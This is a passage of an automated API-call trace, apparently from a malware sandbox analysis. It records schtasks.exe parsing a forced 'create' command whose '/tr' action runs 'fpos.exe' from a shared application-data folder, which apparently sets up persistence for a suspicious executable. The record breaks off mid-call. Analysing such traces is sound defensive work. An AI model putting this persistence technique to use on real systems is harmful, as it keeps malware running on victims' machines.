(_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.346] lstrlenW (lpString="tr") returned 2 [0085.346] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.346] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|create|") returned 8 [0085.346] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|tr|") returned 4 [0085.346] lstrlenW (lpString="|create|") returned 8 [0085.346] lstrlenW (lpString="|tr|") returned 4 [0085.346] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0085.346] SetLastError (dwErrCode=0x490) [0085.346] lstrlenW (lpString="delete") returned 6 [0085.346] lstrlenW (lpString="delete") returned 6 [0085.346] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.346] lstrlenW (lpString="tr") returned 2 [0085.346] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.346] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|delete|") returned 8 [0085.346] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|tr|") returned 4 [0085.346] lstrlenW (lpString="|delete|") returned 8 [0085.346] lstrlenW (lpString="|tr|") returned 4 [0085.347] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0085.347] SetLastError (dwErrCode=0x490) [0085.347] lstrlenW (lpString="query") returned 5 [0085.347] lstrlenW (lpString="query") returned 5 [0085.347] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.347] lstrlenW (lpString="tr") returned 2 [0085.347] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.347] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|query|") returned 7 [0085.347] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|tr|") returned 4 [0085.347] lstrlenW (lpString="|query|") returned 7 [0085.347] lstrlenW (lpString="|tr|") returned 4 [0085.347] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0085.347] SetLastError (dwErrCode=0x490) [0085.347] lstrlenW (lpString="change") returned 6 [0085.347] lstrlenW (lpString="change") returned 6 [0085.347] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.347] lstrlenW (lpString="tr") returned 2 [0085.347] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.347] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|change|") returned 8 [0085.347] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|tr|") returned 4 [0085.347] lstrlenW (lpString="|change|") returned 8 [0085.347] lstrlenW (lpString="|tr|") returned 4 [0085.347] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0085.347] SetLastError (dwErrCode=0x490) [0085.347] lstrlenW (lpString="run") returned 3 [0085.347] lstrlenW (lpString="run") returned 3 [0085.347] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.348] lstrlenW (lpString="tr") returned 2 [0085.348] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.348] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|run|") returned 5 [0085.348] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|tr|") returned 4 [0085.348] lstrlenW (lpString="|run|") returned 5 [0085.348] lstrlenW (lpString="|tr|") returned 4 [0085.348] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0085.348] SetLastError (dwErrCode=0x490) [0085.348] lstrlenW (lpString="end") returned 3 [0085.348] lstrlenW (lpString="end") returned 3 [0085.348] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.348] lstrlenW (lpString="tr") returned 2 [0085.348] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.348] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|end|") returned 5 [0085.348] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|tr|") returned 4 [0085.348] lstrlenW (lpString="|end|") returned 5 [0085.348] lstrlenW (lpString="|tr|") returned 4 [0085.348] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0085.348] SetLastError (dwErrCode=0x490) [0085.348] lstrlenW (lpString="showsid") returned 7 [0085.348] lstrlenW (lpString="showsid") returned 7 [0085.348] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.348] lstrlenW (lpString="tr") returned 2 [0085.348] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.349] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|showsid|") returned 9 [0085.349] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|tr|") returned 4 [0085.349] lstrlenW (lpString="|showsid|") returned 9 [0085.349] lstrlenW (lpString="|tr|") returned 4 [0085.349] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0085.349] SetLastError (dwErrCode=0x490) [0085.349] SetLastError (dwErrCode=0x490) [0085.349] SetLastError (dwErrCode=0x0) [0085.349] lstrlenW (lpString="/tr") returned 3 [0085.349] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0085.349] SetLastError (dwErrCode=0x490) [0085.349] SetLastError (dwErrCode=0x0) [0085.349] lstrlenW (lpString="/tr") returned 3 [0085.349] GetProcessHeap () returned 0xd0000 [0085.349] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x8) returned 0xec420 [0085.349] GetProcessHeap () returned 0xd0000 [0085.349] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xece40 [0085.349] SetLastError (dwErrCode=0x0) [0085.349] SetLastError (dwErrCode=0x0) [0085.349] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0085.349] lstrlenW (lpString="-/") returned 2 [0085.349] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0085.349] SetLastError (dwErrCode=0x490) [0085.349] SetLastError (dwErrCode=0x490) [0085.349] SetLastError (dwErrCode=0x0) [0085.349] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0085.350] StrChrIW (lpStart="'C:\\Users\\All Users\\Application Data\\fpos.exe'", wMatch=0x3a) returned=":\\Users\\All Users\\Application Data\\fpos.exe'" [0085.350] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0085.350] GetProcessHeap () returned 0xd0000 [0085.350] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x18) returned 0xec440 [0085.350] _memicmp (_Buf1=0xec440, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.350] GetProcessHeap () returned 0xd0000 [0085.350] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0xe) returned 0xec460 [0085.350] GetProcessHeap () returned 0xd0000 [0085.350] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x18) returned 0xed610 [0085.350] _memicmp (_Buf1=0xed610, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.350] GetProcessHeap () returned 0xd0000 [0085.350] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x60) returned 0xedde0 [0085.350] SetLastError (dwErrCode=0x7a) [0085.350] SetLastError (dwErrCode=0x0) [0085.350] SetLastError (dwErrCode=0x0) [0085.350] lstrlenW (lpString="'C") returned 2 [0085.350] lstrlenW (lpString="-/") returned 2 [0085.350] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0085.350] SetLastError (dwErrCode=0x490) [0085.350] SetLastError (dwErrCode=0x490) [0085.350] SetLastError (dwErrCode=0x0) [0085.350] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0085.350] GetProcessHeap () returned 0xd0000 [0085.350] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x5e) returned 0xede50 [0085.350] GetProcessHeap () returned 0xd0000 [0085.350] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xece70 [0085.351] SetLastError (dwErrCode=0x0) [0085.351] SetLastError (dwErrCode=0x0) [0085.351] lstrlenW (lpString="/f") returned 2 [0085.351] lstrlenW (lpString="-/") returned 2 [0085.351] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0085.351] lstrlenW (lpString="?") returned 1 [0085.351] lstrlenW (lpString="?") returned 1 [0085.351] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.351] lstrlenW (lpString="f") returned 1 [0085.351] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.351] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|?|") returned 3 [0085.351] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|f|") returned 3 [0085.351] lstrlenW (lpString="|?|") returned 3 [0085.351] lstrlenW (lpString="|f|") returned 3 [0085.351] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0085.351] SetLastError (dwErrCode=0x490) [0085.351] lstrlenW (lpString="create") returned 6 [0085.351] lstrlenW (lpString="create") returned 6 [0085.351] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.351] lstrlenW (lpString="f") returned 1 [0085.351] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.351] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|create|") returned 8 [0085.351] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|f|") returned 3 [0085.351] lstrlenW (lpString="|create|") returned 8 [0085.352] lstrlenW (lpString="|f|") returned 3 [0085.352] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0085.352] SetLastError (dwErrCode=0x490) [0085.352] lstrlenW (lpString="delete") returned 6 [0085.352] lstrlenW (lpString="delete") returned 6 [0085.352] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.352] lstrlenW (lpString="f") returned 1 [0085.352] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.352] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|delete|") returned 8 [0085.352] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|f|") returned 3 [0085.352] lstrlenW (lpString="|delete|") returned 8 [0085.352] lstrlenW (lpString="|f|") returned 3 [0085.352] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0085.352] SetLastError (dwErrCode=0x490) [0085.352] lstrlenW (lpString="query") returned 5 [0085.352] lstrlenW (lpString="query") returned 5 [0085.352] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.352] lstrlenW (lpString="f") returned 1 [0085.352] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.352] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|query|") returned 7 [0085.352] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|f|") returned 3 [0085.352] lstrlenW (lpString="|query|") returned 7 [0085.352] lstrlenW (lpString="|f|") returned 3 [0085.352] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0085.353] SetLastError (dwErrCode=0x490) [0085.353] lstrlenW (lpString="change") returned 6 [0085.353] lstrlenW (lpString="change") returned 6 [0085.353] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.353] lstrlenW (lpString="f") returned 1 [0085.353] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.353] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|change|") returned 8 [0085.353] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|f|") returned 3 [0085.353] lstrlenW (lpString="|change|") returned 8 [0085.353] lstrlenW (lpString="|f|") returned 3 [0085.353] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0085.353] SetLastError (dwErrCode=0x490) [0085.353] lstrlenW (lpString="run") returned 3 [0085.353] lstrlenW (lpString="run") returned 3 [0085.353] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.353] lstrlenW (lpString="f") returned 1 [0085.353] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.353] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|run|") returned 5 [0085.353] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|f|") returned 3 [0085.353] lstrlenW (lpString="|run|") returned 5 [0085.353] lstrlenW (lpString="|f|") returned 3 [0085.353] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0085.353] SetLastError (dwErrCode=0x490) [0085.353] lstrlenW (lpString="end") returned 3 [0085.354] lstrlenW (lpString="end") returned 3 [0085.354] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.354] lstrlenW (lpString="f") returned 1 [0085.354] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.354] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|end|") returned 5 [0085.354] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|f|") returned 3 [0085.354] lstrlenW (lpString="|end|") returned 5 [0085.354] lstrlenW (lpString="|f|") returned 3 [0085.354] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0085.354] SetLastError (dwErrCode=0x490) [0085.354] lstrlenW (lpString="showsid") returned 7 [0085.354] lstrlenW (lpString="showsid") returned 7 [0085.354] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.354] lstrlenW (lpString="f") returned 1 [0085.354] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.354] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|showsid|") returned 9 [0085.354] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|f|") returned 3 [0085.354] lstrlenW (lpString="|showsid|") returned 9 [0085.354] lstrlenW (lpString="|f|") returned 3 [0085.354] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0085.354] SetLastError (dwErrCode=0x490) [0085.354] SetLastError (dwErrCode=0x490) [0085.354] SetLastError (dwErrCode=0x0) [0085.354] lstrlenW (lpString="/f") returned 2 [0085.355] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0085.355] SetLastError (dwErrCode=0x490) [0085.355] SetLastError (dwErrCode=0x0) [0085.355] lstrlenW (lpString="/f") returned 2 [0085.355] GetProcessHeap () returned 0xd0000 [0085.355] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x6) returned 0xedec0 [0085.355] GetProcessHeap () returned 0xd0000 [0085.355] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xecea0 [0085.355] SetLastError (dwErrCode=0x0) [0085.355] GetProcessHeap () returned 0xd0000 [0085.355] GetProcessHeap () returned 0xd0000 [0085.355] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xec2f0) returned 1 [0085.355] GetProcessHeap () returned 0xd0000 [0085.355] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xec2f0) returned 0x8 [0085.355] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xec2f0 | out: hHeap=0xd0000) returned 1 [0085.355] GetProcessHeap () returned 0xd0000 [0085.355] GetProcessHeap () returned 0xd0000 [0085.355] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xecd20) returned 1 [0085.355] GetProcessHeap () returned 0xd0000 [0085.355] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xecd20) returned 0x20 [0085.356] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xecd20 | out: hHeap=0xd0000) returned 1 [0085.356] GetProcessHeap () returned 0xd0000 [0085.356] GetProcessHeap () returned 0xd0000 [0085.356] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xec380) returned 1 [0085.356] GetProcessHeap () returned 0xd0000 [0085.356] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xec380) returned 0xc [0085.356] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xec380 | out: hHeap=0xd0000) returned 1 [0085.356] GetProcessHeap () returned 0xd0000 [0085.356] GetProcessHeap () returned 0xd0000 [0085.356] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xecd50) returned 1 [0085.356] GetProcessHeap () returned 0xd0000 [0085.356] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xecd50) returned 0x20 [0085.357] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xecd50 | out: hHeap=0xd0000) returned 1 [0085.357] GetProcessHeap () returned 0xd0000 [0085.357] GetProcessHeap () returned 0xd0000 [0085.357] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xec3a0) returned 1 [0085.357] GetProcessHeap () returned 0xd0000 [0085.357] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xec3a0) returned 0x8 [0085.357] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xec3a0 | out: hHeap=0xd0000) returned 1 [0085.357] GetProcessHeap () returned 0xd0000 [0085.357] GetProcessHeap () returned 0xd0000 [0085.357] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xecd80) returned 1 [0085.357] GetProcessHeap () returned 0xd0000 [0085.357] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xecd80) returned 0x20 [0085.358] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xecd80 | out: hHeap=0xd0000) returned 1 [0085.358] GetProcessHeap () returned 0xd0000 [0085.358] GetProcessHeap () returned 0xd0000 [0085.358] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xec3c0) returned 1 [0085.358] GetProcessHeap () returned 0xd0000 [0085.358] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xec3c0) returned 0xe [0085.358] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xec3c0 | out: hHeap=0xd0000) returned 1 [0085.358] GetProcessHeap () returned 0xd0000 [0085.358] GetProcessHeap () returned 0xd0000 [0085.358] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xecdb0) returned 1 [0085.358] GetProcessHeap () returned 0xd0000 [0085.358] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xecdb0) returned 0x20 [0085.358] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xecdb0 | out: hHeap=0xd0000) returned 1 [0085.358] GetProcessHeap () returned 0xd0000 [0085.359] GetProcessHeap () returned 0xd0000 [0085.359] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xec3e0) returned 1 [0085.359] GetProcessHeap () returned 0xd0000 [0085.359] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xec3e0) returned 0x8 [0085.359] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xec3e0 | out: hHeap=0xd0000) returned 1 [0085.359] GetProcessHeap () returned 0xd0000 [0085.359] GetProcessHeap () returned 0xd0000 [0085.359] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xecde0) returned 1 [0085.359] GetProcessHeap () returned 0xd0000 [0085.359] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xecde0) returned 0x20 [0085.359] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xecde0 | out: hHeap=0xd0000) returned 1 [0085.359] GetProcessHeap () returned 0xd0000 [0085.359] GetProcessHeap () returned 0xd0000 [0085.359] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xec400) returned 1 [0085.359] GetProcessHeap () returned 0xd0000 [0085.359] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xec400) returned 0x4 [0085.359] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xec400 | out: hHeap=0xd0000) returned 1 [0085.360] GetProcessHeap () returned 0xd0000 [0085.360] GetProcessHeap () returned 0xd0000 [0085.360] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xece10) returned 1 [0085.360] GetProcessHeap () returned 0xd0000 [0085.360] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xece10) returned 0x20 [0085.360] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xece10 | out: hHeap=0xd0000) returned 1 [0085.360] GetProcessHeap () returned 0xd0000 [0085.360] GetProcessHeap () returned 0xd0000 [0085.360] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xec420) returned 1 [0085.360] GetProcessHeap () returned 0xd0000 [0085.360] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xec420) returned 0x8 [0085.360] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xec420 | out: hHeap=0xd0000) returned 1 [0085.360] GetProcessHeap () returned 0xd0000 [0085.360] GetProcessHeap () returned 0xd0000 [0085.360] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xece40) returned 1 [0085.360] GetProcessHeap () returned 0xd0000 [0085.361] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xece40) returned 0x20 [0085.361] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xece40 | out: hHeap=0xd0000) returned 1 [0085.361] GetProcessHeap () returned 0xd0000 [0085.361] GetProcessHeap () returned 0xd0000 [0085.361] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xede50) returned 1 [0085.361] GetProcessHeap () returned 0xd0000 [0085.361] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xede50) returned 0x5e [0085.362] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xede50 | out: hHeap=0xd0000) returned 1 [0085.362] GetProcessHeap () returned 0xd0000 [0085.362] GetProcessHeap () returned 0xd0000 [0085.362] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xece70) returned 1 [0085.362] GetProcessHeap () returned 0xd0000 [0085.362] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xece70) returned 0x20 [0085.362] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xece70 | out: hHeap=0xd0000) returned 1 [0085.362] GetProcessHeap () returned 0xd0000 [0085.362] GetProcessHeap () returned 0xd0000 [0085.362] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xedec0) returned 1 [0085.362] GetProcessHeap () returned 0xd0000 [0085.362] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xedec0) returned 0x6 [0085.362] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xedec0 | out: hHeap=0xd0000) returned 1 [0085.362] GetProcessHeap () returned 0xd0000 [0085.362] GetProcessHeap () returned 0xd0000 [0085.362] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xecea0) returned 1 [0085.363] GetProcessHeap () returned 0xd0000 [0085.363] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xecea0) returned 0x20 [0085.363] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xecea0 | out: hHeap=0xd0000) returned 1 [0085.363] GetProcessHeap () returned 0xd0000 [0085.363] GetProcessHeap () returned 0xd0000 [0085.363] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5520) returned 1 [0085.363] GetProcessHeap () returned 0xd0000 [0085.363] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe5520) returned 0x18 [0085.363] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5520 | out: hHeap=0xd0000) returned 1 [0085.364] SetLastError (dwErrCode=0x0) [0085.364] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0085.364] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0085.364] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0085.364] VerifyVersionInfoW (in: lpVersionInformation=0x25c610, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x25c610) returned 1 [0085.364] SetLastError (dwErrCode=0x0) [0085.364] lstrlenW (lpString="create") returned 6 [0085.364] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0085.364] SetLastError (dwErrCode=0x490) [0085.364] SetLastError (dwErrCode=0x0) [0085.364] lstrlenW (lpString="create") returned 6 [0085.364] GetProcessHeap () returned 0xd0000 [0085.364] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xecea0 [0085.364] GetProcessHeap () returned 0xd0000 [0085.364] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x18) returned 0xed630 [0085.364] _memicmp (_Buf1=0xed630, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.364] GetProcessHeap () returned 0xd0000 [0085.364] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x16) returned 0xed650 [0085.364] SetLastError (dwErrCode=0x0) [0085.364] _memicmp (_Buf1=0xebb80, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.364] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xebd20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0085.365] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0085.365] GetProcessHeap () returned 0xd0000 [0085.365] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x74e) returned 0xede50 [0085.365] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0xede50 | out: lpData=0xede50) returned 1 [0085.366] VerQueryValueW (in: pBlock=0xede50, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x25c6f8, puLen=0x25c760 | out: lplpBuffer=0x25c6f8*=0xee1ec, puLen=0x25c760) returned 1 [0085.366] _memicmp (_Buf1=0xebb80, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.366] _vsnwprintf (in: _Buffer=0xebd20, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x25c6d8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0085.366] VerQueryValueW (in: pBlock=0xede50, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x25c768, puLen=0x25c758 | out: lplpBuffer=0x25c768*=0xee018, puLen=0x25c758) returned 